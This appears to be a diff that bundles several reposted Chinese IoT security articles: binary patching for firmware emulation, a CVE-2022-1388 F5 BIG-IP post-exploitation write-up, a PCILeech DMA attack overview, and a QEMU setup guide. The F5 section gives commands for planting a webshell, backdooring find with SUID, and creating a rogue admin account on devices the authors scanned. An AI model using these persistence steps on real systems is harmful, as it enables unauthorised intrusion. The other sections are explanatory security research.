* 该方案直接对二进制文件的DYNAMIC Segment段进行修改,利用dynamic和elf_hash之间的空余区域,在其上伪造dynamic的数组,该方案的主要限制点在于dynamic和elf_hash之间的空余区域的大小。
|
||||
## 函数Patch
|
||||
以上两种方式均是针对对应的函数进行劫持,使得程序在跳转到对应函数时,对其进行劫持,针对函数的patch则是在原函数上,针对函数指令进行更改。
|
||||
### 方案一 指令patch
|
||||
* 一个简单的patch 脚本,针对函数调用直接在对应位置上打\x00 patch绕过一些会使得程序崩溃的函数。
|
||||
* 在分析出具体需要patch的位置上,通过\x00来直接进行patch
|
||||
|
||||
``````
|
||||
patch_file = "bin/sysconf"
|
||||
f = open(patch_file,'rb')
|
||||
data = f.read()
|
||||
patch_file_p = patch_file + '_patch.bak'
|
||||
fi = open(patch_file_p,'wb')
|
||||
fi.write(data)
|
||||
def patch(poi,content):
|
||||
fi.seek(poi)
|
||||
fi.write(content)
|
||||
|
||||
if __name__ == "__main__":
|
||||
base =0x400000
|
||||
poi = 0x0401B20 - 0x0400000
|
||||
patch(poi,b'\x10')
|
||||
#poi = 0x77F96EB4 - base
|
||||
poi = 0x401B60 - base
|
||||
patch(poi,b'\x00\x00\x00\x00')
|
||||
poi = 0x0401E88 - base
|
||||
patch(poi,b'\x00\x00\x00\x00')
|
||||
poi = 0x401E90 - base
|
||||
patch(poi,b'\x00\x00\x00\x00')
|
||||
``````
|
||||
|
||||
### 方案二 函数patch
|
||||
* 通过mips-linux-gcc 编译要劫持的函数
|
||||
|
||||
```
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
#define MIB_HW_VER 0x250
|
||||
#define MIB_IP_ADDR 170
|
||||
#define MIB_CAPTCHA 0x2C1
|
||||
int apmib_init(void){
|
||||
return 1;
|
||||
}
|
||||
int fork(int a, int b,int c, int d){
|
||||
///int k = a + b +c +d;
|
||||
//printf("%d",k);
|
||||
if(a+b+c+d==-1) return 1;
|
||||
return 0;
|
||||
}
|
||||
void apmib_get(int code,int *value){
|
||||
switch(code){
|
||||
case MIB_HW_VER:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_IP_ADDR:
|
||||
*value = 1;
|
||||
break;
|
||||
case MIB_CAPTCHA:
|
||||
*value = 1;
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
//mips-linux-gcc -fPIC -shared -o apmib-ld.so apmib.c
|
||||
```
|
||||
● 通过angr对apmib-ld.so进行分析,并提取出对应函数的字节码并patch到原apmib.so上
|
||||
● get_func_offset 函数从要patch的链接库上提取指定函数的偏移
|
||||
● get_patch_func_code 函数从编译后的apmib-ld.so上提取patch的字节码
|
||||
● patch函数对原链接库进行patch
|
||||
● 以下是patch的整个流程
|
||||
|
||||
```
|
||||
import angr
|
||||
from sqlalchemy import all_
|
||||
from capstone import *
|
||||
from capstone.mips import *
|
||||
|
||||
class PatchMachaine():
|
||||
def __init__(self,hk_fi_na:str,pt_fi_na:str) -> None:
|
||||
self.hook_file = hk_fi_na
|
||||
self.patch_file = pt_fi_na
|
||||
self.hook_project = angr.Project(self.hook_file,load_options={"auto_load_libs": False})
|
||||
self.patch_project = angr.Project(self.patch_file,load_options={"auto_load_libs": False})
|
||||
self.hook_function = []
|
||||
self.patch_file_fi = open(pt_fi_na+"_patch","wb")
|
||||
self.hook_file_fi = open(pt_fi_na,"rb")
|
||||
self.binary = self.hook_file_fi.read()
|
||||
self.patch_file_fi.write(self.binary)
|
||||
def add_hook_function(self,func_name:str):
|
||||
self.hook_function.add(func_name)
|
||||
def print_insn_detail(self,insn):
|
||||
# print address, mnemonic and operands
|
||||
print( ''.join(format(x, '02x') for x in insn.bytes))
|
||||
print("0x%x:\t%s\t%s" % (insn.address, insn.mnemonic, insn.op_str))
|
||||
|
||||
# "data" instruction generated by SKIPDATA option has no detail
|
||||
if insn.id == 0:
|
||||
return
|
||||
def view_disasm(self,func_name:str):
|
||||
MIPS_CODE = self.get_patch_func_code(func_name)
|
||||
all_tests = ((CS_ARCH_MIPS, CS_MODE_MIPS32 + CS_MODE_BIG_ENDIAN, MIPS_CODE, "MIPS-32 (Big-endian)"),)
|
||||
for (arch, mode, code, comment) in all_tests:
|
||||
print("*" * 16)
|
||||
print("Platform: %s" % comment)
|
||||
#print("Code: %s" % to_hex(code))
|
||||
print("Disasm:")
|
||||
try:
|
||||
md = Cs(arch, mode)
|
||||
md.detail = True
|
||||
for insn in md.disasm(code, 0x688):
|
||||
self.print_insn_detail(insn)
|
||||
print("0x%x:\n" % (insn.address + insn.size))
|
||||
except CsError as e:
|
||||
print("ERROR: %s" % e)
|
||||
def get_patch_func_code(self,func_name:str):
|
||||
cfg_func = self.hook_project.analyses.CFG(normalize=True)
|
||||
func = cfg_func.functions.function(name=func_name)
|
||||
all_bytes = b''
|
||||
for x in sorted(func.blocks,key=lambda s:s.addr):
|
||||
all_bytes += x.bytes
|
||||
return all_bytes
|
||||
def get_func_offset(self,func_name):
|
||||
cfg_func = self.patch_project.analyses.CFG(normalize=True)
|
||||
func = cfg_func.functions.function(name=func_name)
|
||||
#Todo get tht patch file function size
|
||||
return func.offset,func.size
|
||||
def patch(self,func_name):
|
||||
|
||||
poi,size = self.get_func_offset(func_name)
|
||||
self.patch_file_fi.seek(poi)
|
||||
self.patch_file_fi.write(self.get_patch_func_code(func_name).ljust(size,b"\x00"))
|
||||
pass
|
||||
def fi_close(self):
|
||||
self.patch_file_fi.close()
|
||||
|
||||
dir605_machine = PatchMachaine("apmib-ld.so",'lib/apmib.so')
|
||||
dir605_machine.patch("apmib_init")
|
||||
dir605_machine.patch("apmib_get")
|
||||
dir605_machine.fi_close()
|
||||
#dir605_machine.view_disasm("apmib_get")
|
||||
libc_machine = PatchMachaine("apmib-ld.so",'lib/libc.so.0')
|
||||
libc_machine.patch('fork')
|
||||
libc_machine.fi_close()
|
||||
```
|
||||
### 测试
|
||||
* 针对该方案的patch,使用qemu-user以及mips虚拟机运行分别如下
|
||||
* 在mips虚拟机中patch三个函数,可以正常运行boa程序
|
||||

|
||||
* 不patch fork的情况下,通过qemu-user在可以正常运行,但是log显示不一致,没有出现sh: can't ....后续的日志
|
||||

|
||||
### 总结
|
||||
* 直接针对函数的patch,可以实现特定函数的劫持,但是该方式的patch下,无法加入一些动态库函数来输出,比如apmib_init原有劫持的过程中添加了printf("helllo")等
|
||||
* 针对fork函数的patch,在实际qemu-user运行的过程中会导致程序异常退出
|
||||
@@ -0,0 +1,110 @@
|
||||
# 基于CVE-2022-1388的F5 BIG-IP后渗透
|
||||
> 屁屁
|
||||
> 来源:https://www.iotsec-zone.com/article/142
|
||||
|
||||
# 基于CVE-2022-1388的F5 BIG-IP后渗透
|
||||
|
||||
[TOC]
|
||||
|
||||
## 一、前言
|
||||
|
||||
`CVE-2022-1388`是F5 BIG-IP iControl REST 身份认证绕过漏洞,通过该漏洞可以以root权限执行命令,具体原理挖个坑以后填,本文以实战为例,讲解如何利用该漏洞进行持久化及后渗透,以及如何防御该漏洞。
|
||||
|
||||
## 二、目的
|
||||
|
||||
所有的网络渗透行为都不会也不应该是盲目的,在渗透之前攻击者就会明确其行动的最终目标。如邮件服务器、核心人物的办公电脑等,因此,在对路由器这类网络边界的漏洞挖掘和利用过程中,重点应在于获取其管理权限或者部分命令执行权限(而非root权限),获取这些边界的唯一目的便是网络穿透,达到进入内网的目的。只要该权限能开放代理(或vpn)就已经可以达成目的了。
|
||||
|
||||
综上所述,本文的后渗透利用将以开放代理为最终目的。
|
||||
|
||||
## 三、打点
|
||||
|
||||
漏洞出现后,使用[exp](https://github.com/yukar1z0e/CVE-2022-1388)对目标资产进行扫描,结果喜人,出现了若干可利用的F5 VPN。
|
||||
|
||||
## 四、信息搜集
|
||||
|
||||
获取权限之后,需要进行一些简单的信息搜集。众所周知,路由器等IoT设备为了追求性能,往往会使用阉割版linux,最终导致缺少很多命令。但是幸运的是,F5 BIG-IP系统的命令很充足,甚至还有apache、tomcat、php和jdk,这一发现令我们非常惊喜。自然而然想到使用php webshell做一个简单的持久化。
|
||||
|
||||
经过寻找,php web的目录位于`/usr/local/www/xui/`。
|
||||
|
||||
## 五、问题一
|
||||
|
||||
当我们开始尝试写入shell时
|
||||
|
||||
```bash
|
||||
echo '<?php phpinfo();?>' > /usr/local/www/xui/common/phpinfo.php
|
||||
```
|
||||
|
||||
令人难受的事情发生了,`phpinfo.php`并没有如期出现。
|
||||
|
||||
大部分IoT设备在很多情况下,会将整个硬盘设置为只读模式,这样就导致无法写入文件。
|
||||
|
||||
但是,获取的权限是root权限时,能不能通过重新挂载硬盘的方式将文件写入呢?
|
||||
|
||||
我们进行了新的一轮尝试
|
||||
|
||||
```bash
|
||||
mount -o remount -rw /usr;
|
||||
echo '<?php phpinfo();?>' > /usr/local/www/xui/common/phpinfo.php;
|
||||
mount -o remount -r /usr
|
||||
```
|
||||
|
||||
成功写入`phpinfo.php`。
|
||||
|
||||
## 六、问题二
|
||||
|
||||
当我们将webshell传入后,发现了第二个问题,php webshell的权限是apache权限,那么当目标将漏洞修复之后,我们将再写无法通过重新挂载硬盘的方式将文件传入了。因此我们还需要一个root的后门。这里有一个很简单的方式,使用find进行suid权限维持。
|
||||
|
||||
回到root的shell,使用+s给find加上suid权限
|
||||
|
||||
```bash
|
||||
chmod +s /usr/bin/find
|
||||
```
|
||||
|
||||
再回到webshell中,通过执行如下命令即可以root权限执行命令。
|
||||
|
||||
```bash
|
||||
find /etc/passwd -exec "命令" \;
|
||||
```
|
||||
|
||||
## 七、问题三
|
||||
|
||||
完成简单的持久化之后,就去睡觉了,等到第二天再看的时候,目标果真将漏洞修复了,但是webshell还在,因此只能通过webshell进行简单的利用(如:传frp、reGeorg等),但这个非常不稳定极有可能被发现,并且无法进入管理页面。那么如何进行更加稳妥的操作呢?
|
||||
|
||||
根据以往的经验,一个成熟的路由器,一定会有一个自己的sh或者管理shell,以方便用户进行命令行的配置(如zeroshell、mikrotik等),那么F5会不会也有一个自己的操作shell呢?
|
||||
|
||||
翻看资料,果真有,叫`tmsh`。继续查看资料,发现可以用`tmsh`可以列出管理员用户信息
|
||||
|
||||
```bash
|
||||
# 列出所有管理用户,权限及密码
|
||||
tmsh list auth user
|
||||
```
|
||||
|
||||
该命令列出了所有管理用户,权限及密码,密码加密了解不开。
|
||||
|
||||
既然可以列出用户,那么能不能创建用户呢?继续查看产品手册。
|
||||
|
||||
确实可以。
|
||||
|
||||

|
||||
|
||||
经过数次尝试,成功创建了管理用户。
|
||||
|
||||
```bash
|
||||
find /etc/passwd -exec tmsh create auth user '用户名' partition-access add {all-partitions {role admin}} shell advanced shell password '复杂密码' \;
|
||||
```
|
||||
|
||||
PS:密码一定要复杂,不然创不了用户。
|
||||
|
||||
进入管理后台。
|
||||
|
||||

|
||||
|
||||
此外,管理账号也可以通过ssh以root权限登录BIG-IP,并且没有只读的权限限制。
|
||||
|
||||
## 八、小结
|
||||
|
||||
至此,持久化的目的已经达成,也可以继续通过挂代理开vpn等方式进入目标内网了。
|
||||
|
||||
## 九、防御
|
||||
|
||||
BIG-IP作为F5管理软件完全没有必要开在外网,因此将该应用放在内网中不失为一种比较有用的防御办法。(及时打补丁也很重要)
|
||||
@@ -0,0 +1,211 @@
|
||||
# 基于PCILeech和MemProcFS的DMA攻击浅谈
|
||||
> ol4three
|
||||
> 来源:https://www.iotsec-zone.com/article/165
|
||||
|
||||
---
|
||||

|
||||
|
||||
## 0x00 DMA攻击
|
||||
|
||||
> DMA攻击是一种侧信道攻击,即攻击者可以通过利用高速扩展端口,穿透计算机和操作系统,直接读取DMA,DMA包含在许多连接中,DMA可以通过例如便携式摄像机、网卡、存储设备或者其他可直接读取或写入主内存的互动设备。此类设备的合法使用已导致DMA连接广泛,攻击者可以采用工具连接到DMA接口,绕过操作系统的安全机制和屏幕密码等,来访问部分或者全部的计算机物理内存地址,读取计算机的所有工作,窃取数据和加密密钥,安装运行间谍软件和其他漏洞利用程序,或者修改系统以允许后门或其他恶意软件
|
||||
|
||||
允许DMA攻击的设备包括:FireWire、CardBus、ExpressCard、Thunderbolt、PCI和PCI Express
|
||||
|
||||
首先放一张图来总结
|
||||

|
||||
|
||||
## 0x01 DMA 是什么
|
||||
|
||||
> DMA(Direct Memory Access,直接存储器访问) 是所有现代电脑的重要特色,它允许不同速度的硬件装置来沟通,而不需要依赖于 CPU 的大量中断负载。否则,CPU 需要从来源把每一片段的资料复制到暂存器,然后把它们再次写回到新的地方。在这个时间中,CPU 对于其他的工作来说就无法使用。
|
||||
|
||||
正常情况一般只有CPU才能进入主存,现在加了DMA,直接在I/O设备和主存之间打通了一个通路,用来减少CPU的负担。如果出现DMA和CPU同时访存的情况,DMA优先级更高,当两者争抢时CPU是DMA的小弟卧槽 好家伙我TM直接好家伙。
|
||||
|
||||
那么CPU和DMA同时访问主存就会出现一下三种情况:
|
||||
|
||||
###
|
||||
|
||||
**1.CPU停止访问主存**
|
||||
|
||||
a.CPU放弃地址线的使用权
|
||||
b.CPU放弃数据线的使用权
|
||||
c.CPU放弃控制线的使用权
|
||||
|
||||

|
||||
|
||||
优点: 控制简单,它适用于数据传输率很高的设备进行成组传送。
|
||||
|
||||
缺点: 在DMA控制器访问内存阶段,内存的效能没有充分发挥,相当一部分内存工作周期是空闲的。这是因为,外围设备传送两个数据之间的间隔一般总是大于内存存储周期,即使高速I/O设备也是如此。例如,软盘读出一个8位二进制数大约需要32us,而半导体内存的存储周期小于0.5us,因此许多空闲的存储周期不能被CPU利用。
|
||||
|
||||
|
||||
|
||||
**2.周期挪用**
|
||||
|
||||
DMA请求时,I/O设备挪用或者窃取总线占用权一个或几个主存周期
|
||||
|
||||

|
||||
|
||||
I/O设备要求DMA传送时可能遇到两种情况:
|
||||
|
||||
(1)此时CPU不需要访内,如CPU正在执行乘法指令。由于乘法指令执行时间较长,此时I/O访内与CPU访内没有冲突,即I/O设备挪用一二个内存周期对CPU执行程序没有任何影响。
|
||||
|
||||
(2)I/O设备要求访内时CPU也要求访内,这就产生了访内冲突,在这种情况下I/O设备访内优先,因为I/O访内有时间要求,前一个I/O数据必须在下一个访问请求到来之前存取完毕。显然,在这种情况下I/O 设备挪用一二个内存周期,意味着CPU延缓了对指令的执行,或者更明确地说,在CPU执行访内指令的过程中插入DMA请求,挪用了一二个内存周期。 与停止CPU访内的DMA方法比较,周期挪用的方法既实现了I/O传送,又较好地发挥了内存和CPU的效率,是一种广泛采用的方法。但是I/O设备每一次周期挪用都有申请总线控制权、建立线控制权和归还总线控制权的过程,所以传送一个字对内存来说要占用一个周期,但对DMA控制器来说一般要2—5个内存周期(视逻辑线路的延迟而定)。因此,周期挪用的方法适用于I/O设备读写周期大于内存存储周期的情况。
|
||||
|
||||
3.DMA和CPU交替访问
|
||||
|
||||
适用于CPU的工作周期比主存存取周期长的情况。这样可以将CPU的周期拆分成两部分,前一部分用于DMA访存,后一部分用于CPU访存
|
||||
|
||||

|
||||
|
||||
这种传送方式又称为“透明的DMA”方式,其来由是这种DMA传送对CPU来说,如同透明的玻璃一般,没有任何感觉或影响。在透明的DMA方式下工作,CPU既不停止主程序的运行,也不进入等待状态,是一种高效率的工作方式。当然,相应的硬件逻辑也就更加复杂。
|
||||
## 0x02 PCILeech 和MemProcFS的攻击利用
|
||||
我们发现在DMA和CPU同时进行内存访问的情况下,DMA的优先级会更高,我们便可以硬件设备模拟DMA请求来进行内存访问
|
||||

|
||||
同时我们可以使用很多不同的设备去模拟PCIE请求来进行内存访问
|
||||

|
||||
同时在github也开源了PCILeech和MemProcFS的利用脚本
|
||||
[PCILeech](https://github.com/ufrisk/pcileech "PCILeech")
|
||||
同时在windows系统下给出了GUI工具
|
||||

|
||||
我们这边使用测试板子如下
|
||||

|
||||
### Linux攻击方式
|
||||
首先连接设备进行内存扫描
|
||||

|
||||
扫描成功后加载KMD地址,并将Linux内存挂载到本地的K盘
|
||||

|
||||

|
||||
我们可以去读取几乎所有的文件比如读取\etc\shadow文件如下
|
||||

|
||||
### Windows 攻击方式
|
||||
环境如下
|
||||
```
|
||||
Intel NUC
|
||||
ScreamerM2
|
||||
```
|
||||

|
||||
在windows系统上我们同样可以挂载内存到本地的K盘
|
||||

|
||||
获取System权限并建立用户进行登录
|
||||

|
||||
获取系统进程信息
|
||||

|
||||
获取SAM哈希存储信息
|
||||

|
||||
获取系统日志信息等
|
||||

|
||||
同时也可以进行一些有趣的操作比如Bypass锁屏密码,动态修改Notepad显示内容等
|
||||
### 利用姿势优化
|
||||
PS:很多时候我们测试需要插入PCIE或者M2接口导致比较麻烦,或者M2接口可能失效的情况下我们可以去使用M2延长线
|
||||

|
||||
或者使用Thunderbolt3 转接装置,将PCIE和M2接口转换为thunderbolt3 同时也涉及了Thunderspy攻击利用
|
||||

|
||||

|
||||
同样对Thunderbolt3的 安全讨论在下文进行简单描述
|
||||
在ThunderSPY的官网提供了漏洞的检测工具
|
||||

|
||||
同样的DMA利用方式还有:
|
||||
[火线接口的DMZ攻击](https://github.com/carmaa/inception "火线接口的DMZ攻击")同样也可以进行火线转Thunderbolt3的攻击方式
|
||||
## 0x03 Thunderbolt 3 安全等级
|
||||
|
||||
**无安全性(SL0)**
|
||||
|
||||
> 在位于SL0模式时,任何Thunderbolt 3设备连接后将立即开始工作。此模式的危险在于,由于Thunderbolt 3支持PCIe,并且PCIe允许直接访问系统内存,因此恶意的Thunderbolt 3设备可以访问系统内存中的潜在敏感数据,而在SL0模式下,只需要简单的插入设备。
|
||||
|
||||
**用户授权(SL1)Default**
|
||||
|
||||
> 连接Thunderbolt 3设备时,用户必须响应弹出对话框以明确允许连接。用户可以选择允许一次或始终允许该特定设备。这减轻了上述SL0风险。
|
||||
|
||||
**安全连接(SL2)**
|
||||
|
||||
> 与SL1相同,不同之处在于,如果用户选择始终允许特定设备,则系统会向该设备写入加密密钥,并将其记录在其自己的固件中,以执行更强大的“身份验证”使用质询/响应机制在后续连接上对该设备的性能进行评估。这样可以防止攻击者获取已被授予“始终允许”访问权限的外围设备的设备ID并将其克隆到恶意设备上,这在SL1模式下将允许该恶意设备获得“始终允许”访问权限。但是,并非所有的Thunderbolt 3外设都支持SL2。
|
||||
|
||||
**仅DisplayPort和USB(SL3)**
|
||||
|
||||
> 通过Thunderbolt 3允许DisplayPort流量,但不允许PCIe。
|
||||
>
|
||||
> 如果设置安全模式为SL3,并且连接到实际的Thunderbolt 3扩展坞,则将获得视频输出,但将无法使用通过扩展坞的USB控制器运行的任何USB 3.x端口或其他扩展坞功能。(通常包括所有其他端口,以太网,音频等)
|
||||
|
||||
**Daisy chaining disabled / USB docks only (SL4)**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
> SL4 会禁用thunderbolt菊花链,而不是DisplayPort菊花链。
|
||||
>
|
||||
> 在SL4模式下,允许设备使用PCIe,但仅允许链中的第一个Thunderbolt 3设备。链下游的thunderbolt设备将不允许使用PCIe。
|
||||
>
|
||||
> 此模式旨在防止恶意的Thunderbolt外围设备通过受信任的设备(例如扩展坞)来访问系统。
|
||||
|
||||
**内核DMA保护**
|
||||
|
||||
> 此模式需要系统固件,操作系统,驱动程序和Thunderbolt 3外围设备的支持。
|
||||
>
|
||||
> 内核DMA保护使系统仅允许外围设备直接访问系统内存的指定部分,从而降低了风险。
|
||||
>
|
||||
> 如果系统支持内核DMA保护,但所连接的特定Thunderbolt外围设备不支持它,则该系统将退回到该特定设备连接(通常为SL1)
|
||||
|
||||
## 0x04 攻击方式
|
||||
|
||||
1. 对于默认采用了SL1的设备,可以通过其主板上的SPI接口dump出Thunderbolt接口控制的固件,对固件进行修改并写回,以此将SL1降级为SL0。
|
||||
|
||||
p.s. 在对设备进行写SPI闪存进行降级的时候,可以将审批闪存设置为只读,这样用户就无法通过BIOS更改 Thunderbolt接口 的安全等级。
|
||||
|
||||
2. 降级成功后通过Thunderbolt接口连接被攻击的设备,执行DMA攻击(PCILeech 攻击程序)
|
||||
|
||||
> PCILeech部分功能:
|
||||
>
|
||||
> - 可以通过>150MB/s的速度检索内存
|
||||
> - 将数据写入目标内存
|
||||
> - 将活动的RAM挂载位文件
|
||||
> - 将文件系统挂载为驱动器
|
||||
> - 在目标系统上执行内核代码
|
||||
> - 解锁系统
|
||||
|
||||
PCILeech攻击使用PCIe硬件设备读取和写入目标系统内存。这是通过在PCIe上使用DMA来实现的。目标系统上不需要驱动程序。
|
||||
|
||||
PCILeech还可以在没有硬件的情况下运行,并可以使用LeechCore库支持的多种软件内存获取方法-包括使用DumpIt或WinPmem捕获远程实时内存。PCILeech还支持本地捕获内存和多种内存转储文件格式。
|
||||
|
||||
支持多个内存采集器比如:
|
||||
|
||||
1.基于USB3380的硬件(基于USB3380的硬件只能本地读取4GB内存,但是如果首先将内核模块(KMD)插入目标系统内核,则可以读取所有内存。)
|
||||
2.基于FPGA
|
||||
|
||||
支持的目标系统:
|
||||
|
||||
```
|
||||
UEFI
|
||||
Linux
|
||||
FreeBSD
|
||||
macOS(不支持macOS High Sierra及更高版本)
|
||||
Windows
|
||||
```
|
||||
|
||||
这需要有内存(USB3380硬件,FPGA硬件或CVE-2018-1038“ Total Meltdown”)的写访问权。
|
||||
|
||||
## 0x05 安全思考
|
||||
|
||||
1.设备位于SL1模式下,是否可以 窃取\克隆 已经获得授权的设备ID,以此获得无提示的设备接入。
|
||||
2.针对上一点作出防御的SL2模式,如果在THunderbolt 3外设不支持SL2的情况下会自动降级到SL1。攻击者完全可以随心所欲降级。SL2如果不是强制实施的话等于无效
|
||||
|
||||
## 0x08 如何缓解
|
||||
|
||||
BIOS中启用VT-d(IOMMU)防护DMA攻击
|
||||

|
||||
比如可以使用[HelloIommuPkg](https://github.com/tandasat/HelloIommuPkg "HelloIommuPkg")是一个运行时DXE驱动程序,可以使DMA重映射并保护它的第一页(PE头)从DMA读取和写入。
|
||||
加载命令后的成功保护
|
||||

|
||||
使用PCILeech进行检测
|
||||

|
||||
受保护之后如下
|
||||

|
||||
通过使用[RWEverything](http://rweverything.com "RWEverything")报告的故障记录寄存器,可以确认DMA确实由于缺少读取权限而被阻塞。
|
||||

|
||||
· 第一列表示故障地址(0x6ff48000)
|
||||
|
||||
· 第三列表示请求设备的源ID(总线6:设备0:功能0)
|
||||
|
||||
· 第四列中的6表示缺少读取权限Intel 处理器 VT-d 架构 Kernel DMA 保护机制研究
|
||||

|
||||
@@ -0,0 +1,322 @@
|
||||
# 多种架构模拟环境构建方法及自动脚本
|
||||
> buggart
|
||||
> 来源:https://www.iotsec-zone.com/article/157
|
||||
|
||||
# 0x00简介
|
||||
|
||||
在漏洞挖掘和调试或者工具开发的过程中,我们经常会需要使用到不同架构的环境。比如你解开某设备固件后,想看看它的busybox支持哪些命令,但一看是mips64,傻眼了。这篇文章将探讨使用qemu来启动不同架构虚拟机的方法。
|
||||
|
||||
qemu有两种主要的运作模式,user mode和system mode。usermode一般用来启动单个的二进制程序,systemmode可以用来模拟整个系统,包括cpu和其他设备,这里我们用到的就是system mode。
|
||||
|
||||
# 0x01环境配置
|
||||
|
||||
在模拟虚拟机之前,需要安装准备一些工具。
|
||||
|
||||
```
|
||||
$ sudo apt-get install qemu-system qemu-user qemu
|
||||
$sudo apt-get install bridge-utils uml-utilities
|
||||
```
|
||||
|
||||
安装完成后,输入`qemu-`配合tab键可以看到
|
||||
|
||||
```
|
||||
$ qemu-
|
||||
qemu-aarch64 qemu-mipsn32el-static qemu-system-lm32
|
||||
qemu-aarch64-static qemu-mipsn32-static qemu-system-m68k
|
||||
qemu-alpha qemu-mips-static qemu-system-microblaze
|
||||
qemu-alpha-static qemu-nbd qemu-system-microblazeel
|
||||
qemu-arm qemu-or32 qemu-system-mips
|
||||
qemu-armeb qemu-or32-static qemu-system-mips64
|
||||
qemu-armeb-static qemu-ppc qemu-system-mips64el
|
||||
qemu-arm-static qemu-ppc64 qemu-system-mipsel
|
||||
qemu-cris qemu-ppc64abi32 qemu-system-moxie
|
||||
qemu-cris-static qemu-ppc64abi32-static qemu-system-or32
|
||||
qemu-debootstrap qemu-ppc64le qemu-system-ppc
|
||||
qemu-i386 qemu-ppc64le-static qemu-system-ppc64
|
||||
qemu-i386-static qemu-ppc64-static qemu-system-ppc64le
|
||||
qemu-img qemu-ppc-static qemu-system-ppcemb
|
||||
qemu-io qemu-s390x qemu-system-sh4
|
||||
```
|
||||
|
||||
# 0x02虚拟机下载
|
||||
|
||||
从[debian.org](https://people.debian.org/~aurel32/qemu/)上下载网络安装加载映像。
|
||||
|
||||
```
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
|
||||
$ wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-5kc-malta
|
||||
```
|
||||
|
||||
#0x03网络配置
|
||||
|
||||
对qemu模拟的虚拟机配置系统网络,让宿主机能与其通讯和传输数据,便于进行调试和交叉编译。
|
||||
|
||||
修改ubuntu主机网络接口配置文件。
|
||||
|
||||
```
|
||||
sudo gedit /etc/network/interfaces
|
||||
```
|
||||
|
||||
修改ubuntu主机的网络配置文件` /etc/network/interfaces`
|
||||
|
||||
```
|
||||
# interfaces(5) file used by ifup(8) and ifdown(8)
|
||||
auto lo
|
||||
iface lo inet loopback
|
||||
|
||||
auto ens33
|
||||
iface ens33 inet dhcp
|
||||
|
||||
|
||||
#auto br0
|
||||
iface br0 inet dhcp
|
||||
bridge_ports ens33
|
||||
bridge_maxwait 0
|
||||
```
|
||||
|
||||
要注意的是`ubuntu16.04`以前为`eth0`
|
||||
|
||||
查看ubuntu主机的网络接口卡信息。
|
||||
|
||||
```
|
||||
$ ifconfig
|
||||
ens33 Link encap:Ethernet HWaddr 00:0c:29:05:9f:18
|
||||
inet addr:172.16.1.163 Bcast:172.16.1.255 Mask:255.255.255.0
|
||||
inet6 addr: fe80::20c:29ff:fe05:9f18/64 Scope:Link
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:70 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:108 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:22443 (22.4 KB) TX bytes:12529 (12.5 KB)
|
||||
|
||||
lo Link encap:Local Loopback
|
||||
inet addr:127.0.0.1 Mask:255.0.0.0
|
||||
inet6 addr: ::1/128 Scope:Host
|
||||
UP LOOPBACK RUNNING MTU:65536 Metric:1
|
||||
RX packets:232 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:232 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:18060 (18.0 KB) TX bytes:18060 (18.0 KB)
|
||||
|
||||
```
|
||||
|
||||
通过`dmesg|grep -i eth`可以看到网卡`ens33`是`eth0`改名过来的。
|
||||
|
||||
```
|
||||
$ dmesg|grep -i eth
|
||||
[ 2.305522] e1000 0000:02:01.0 eth0: (PCI:66MHz:32-bit) 00:0c:29:05:9f:18
|
||||
[ 2.305526] e1000 0000:02:01.0 eth0: Intel(R) PRO/1000 Network Connection
|
||||
[ 2.307646] e1000 0000:02:01.0 ens33: renamed from eth0
|
||||
```
|
||||
|
||||
创建qemu的网络接口启动脚本,重新启动网络使配置生效,使用以下命令,创建并编辑`/etc/qemu-ifup`文件。
|
||||
|
||||
```
|
||||
#!/bin/sh
|
||||
echo "Executing /etc/qemu-ifup"
|
||||
echo "Bringing $1 for bridged mode..."
|
||||
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
|
||||
echo "Adding $1 to br0..."
|
||||
sudo /sbin/brctl addif br0 $1
|
||||
sleep 3
|
||||
```
|
||||
|
||||
一般`/etc/qemu-ifup`这个文件本来就存在,检查一下文件的末尾有没有这部分内容,没有的话加上。
|
||||
|
||||
```
|
||||
#赋予可执行权限
|
||||
$sudo chmod a+x /etc/qemu-ifup
|
||||
#重启网络使所有配置生效
|
||||
$sudo /etc/init.d/networking restart
|
||||
```
|
||||
|
||||
在ubuntu主机运行命令,启动桥接网络。
|
||||
|
||||
```
|
||||
$sudo ifdown ens33
|
||||
$sudo ifup br0
|
||||
```
|
||||
|
||||
再次查看执行后的网络接口信息。
|
||||
|
||||
```
|
||||
$ ifconfig
|
||||
br0 Link encap:Ethernet HWaddr 00:0c:29:05:9f:18
|
||||
inet addr:172.16.1.164 Bcast:172.16.1.255 Mask:255.255.255.0
|
||||
inet6 addr: fe80::20c:29ff:fe05:9f18/64 Scope:Link
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:14 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:42 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:1622 (1.6 KB) TX bytes:5249 (5.2 KB)
|
||||
|
||||
ens33 Link encap:Ethernet HWaddr 00:0c:29:05:9f:18
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:109 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:178 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:26944 (26.9 KB) TX bytes:20800 (20.8 KB)
|
||||
|
||||
lo Link encap:Local Loopback
|
||||
inet addr:127.0.0.1 Mask:255.0.0.0
|
||||
inet6 addr: ::1/128 Scope:Host
|
||||
UP LOOPBACK RUNNING MTU:65536 Metric:1
|
||||
RX packets:300 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:300 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:1000
|
||||
RX bytes:23080 (23.0 KB) TX bytes:23080 (23.0 KB)
|
||||
```
|
||||
|
||||
